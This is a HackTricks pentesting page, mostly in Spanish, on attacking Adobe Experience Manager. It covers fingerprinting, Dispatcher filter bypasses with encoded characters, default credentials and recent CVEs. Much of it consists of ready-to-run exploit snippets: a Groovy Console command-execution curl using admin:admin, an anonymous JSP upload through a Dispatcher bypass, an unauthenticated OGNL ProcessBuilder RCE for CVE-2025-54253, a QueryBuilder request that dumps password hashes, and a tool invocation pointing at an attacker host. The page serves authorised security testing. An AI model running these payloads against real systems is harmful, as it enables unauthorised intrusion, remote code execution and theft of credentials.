AEM (Adobe Experience Manager) Pentesting

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.

Adobe Experience Manager (AEM, part of the Adobe Experience Cloud) es un CMS empresarial que se ejecuta sobre Apache Sling/Felix (OSGi) y un Java Content Repository (JCR). Desde la perspectiva de un atacante, las instancias AEM con frecuencia exponen endpoints de desarrollo peligrosos, reglas débiles de Dispatcher, credenciales por defecto y una larga cola de CVEs que se parchean cada trimestre.

The checklist below focuses on externally reachable (unauth) attack surface that keeps showing up in real engagements (2022-2026).

1. Fingerprinting

$ curl -s -I https://target | egrep -i "aem|sling|cq"
X-Content-Type-Options: nosniff
X-Dispatcher: hu1            # header added by AEM Dispatcher
X-Vary: Accept-Encoding

Other quick indicators:

• /etc.clientlibs/ ruta estática presente (devuelve JS/CSS).
• /libs/granite/core/content/login.html página de login con el banner “Adobe Experience Manager”.
• </script><!--/* CQ */--> comentario al final del HTML.

2. Endpoints no autenticados de alto valor

Dispatcher bypass tricks (still working in 2025/2026)

La mayoría de los sitios de producción están detrás del Dispatcher (reverse-proxy). Las reglas de filtrado se eluden frecuentemente abusando de caracteres codificados o de extensiones estáticas permitidas.

• Clásico punto y coma + extensión permitida

GET /bin/querybuilder.json;%0aa.css?path=/home&type=rep:User HTTP/1.1

Encoded slash bypass (2025 KB ka-27832)

GET /%2fbin%2fquerybuilder.json?path=/etc&1_property=jcr:primaryType HTTP/1.1

If the Dispatcher allows encoded slashes, this returns JSON even when /bin is supposedly denied.

3. Configuraciones erróneas comunes (todavía vigentes en 2026)

1. Anonymous POST servlet – POST /.json con :operation=import permite plantar nuevos nodos JCR. Bloquear POST a *.json en el Dispatcher lo soluciona.
2. World-readable user profiles – el ACL por defecto concede jcr:read en /home/users/**/profile/* a todo el mundo.
3. Default credentials – admin:admin, author:author, replication:replication.
4. WCMDebugFilter habilitado ⇒ reflected XSS vía ?debug=layout (CVE-2016-7882, aún encontrado en instalaciones legacy 6.4).
5. Groovy Console exposed – ejecución remota de código enviando un script Groovy:

curl -u admin:admin -d 'script=println "pwn".execute()' https://target/bin/groovyconsole/post.json

6. Dispatcher encoded-slash gap – /bin/querybuilder.json y /etc/truststore.json accesibles con %2f/%3B incluso cuando están bloqueados por filtros de ruta.
7. AEM Forms Struts devMode left enabled – /adminui/debug?expression= evalúa OGNL sin autenticación (CVE-2025-54253) conduciendo a RCE sin auth; acompañado de XXE en el envío de Forms (CVE-2025-54254) permite lectura de archivos.

4. Vulnerabilidades recientes (cadencia de service-pack)

Siempre revisa el boletín APSB que corresponda al service-pack del cliente y exige la versión más reciente 6.5.24 (Nov 26, 2025) o Cloud Service 2025.12. AEM Forms on JEE requiere su propio add-on hotfix 6.5.0-0108+.

5. Fragmentos de explotación

5.1 RCE via dispatcher bypass + JSP upload

Si la escritura anónima es posible:

# 1. Create a node that will become /content/evil.jsp
POST /content/evil.jsp;%0aa.css HTTP/1.1
Content-Type: application/x-www-form-urlencoded

:contentType=text/plain
jcr:data=<% out.println("pwned"); %>
:operation=import

Ahora solicita /content/evil.jsp – el JSP se ejecuta con el usuario del proceso AEM.

5.2 SSRF to RCE (historical < 6.3)

/libs/mcm/salesforce/customer.html;%0aa.css?checkType=authorize&authorization_url=http://127.0.0.1:4502/system/console aem_ssrf2rce.py de aem-hacker automatiza la cadena completa.

5.3 OGNL RCE on AEM Forms JEE (CVE-2025-54253)

# Unauth devMode OGNL to run whoami
curl -k "https://target:8443/adminui/debug?expression=%23cmd%3D%27whoami%27,%23p=new%20java.lang.ProcessBuilder(%23cmd).start(),%23out=new%20java.io.InputStreamReader(%23p.getInputStream()),%23br=new%20java.io.BufferedReader(%23out),%23br.readLine()"

Si es vulnerable, el cuerpo HTTP contiene la salida del comando.

5.4 QueryBuilder hash disclosure (encoded slash bypass)

GET /%2fbin%2fquerybuilder.json?path=/home&type=rep:User&p.hits=full&p.nodedepth=2&p.offset=0 HTTP/1.1

Devuelve nodos de usuario incluyendo rep:password hashes cuando los ACL de lectura anónima son por defecto.

6. Herramientas

• aem-hacker – Swiss-army enumeration script, soporta dispatcher bypass, SSRF detection, default-creds checks y más.

python3 aem_hacker.py -u https://target --host attacker-ip

• Tenable WAS plugin 115065 – Detecta QueryBuilder hash disclosure & encoded-slash bypass automáticamente (publicado Dec 2025).
• Content brute-force – solicita recursivamente /_jcr_content.(json|html) para descubrir componentes ocultos.
• osgi-infect – sube un OSGi bundle malicioso vía /system/console/bundles si creds disponibles.

Referencias

• Adobe Security Bulletin APSB25-115 – Security updates for Adobe Experience Manager (Dec 9, 2025)
• BleepingComputer – Adobe issues emergency fixes for AEM Forms zero-days (Aug 5, 2025)

Tip

Aprende y practica Hacking en AWS:HackTricks Training AWS Red Team Expert (ARTE)
Aprende y practica Hacking en GCP: HackTricks Training GCP Red Team Expert (GRTE) Aprende y practica Hacking en Azure: HackTricks Training Azure Red Team Expert (AzRTE)

Apoya a HackTricks

• Revisa los planes de suscripción!
• Únete al 💬 grupo de Discord o al grupo de telegram o síguenos en Twitter 🐦 @hacktricks_live.
• Comparte trucos de hacking enviando PRs a los HackTricks y HackTricks Cloud repositorios de github.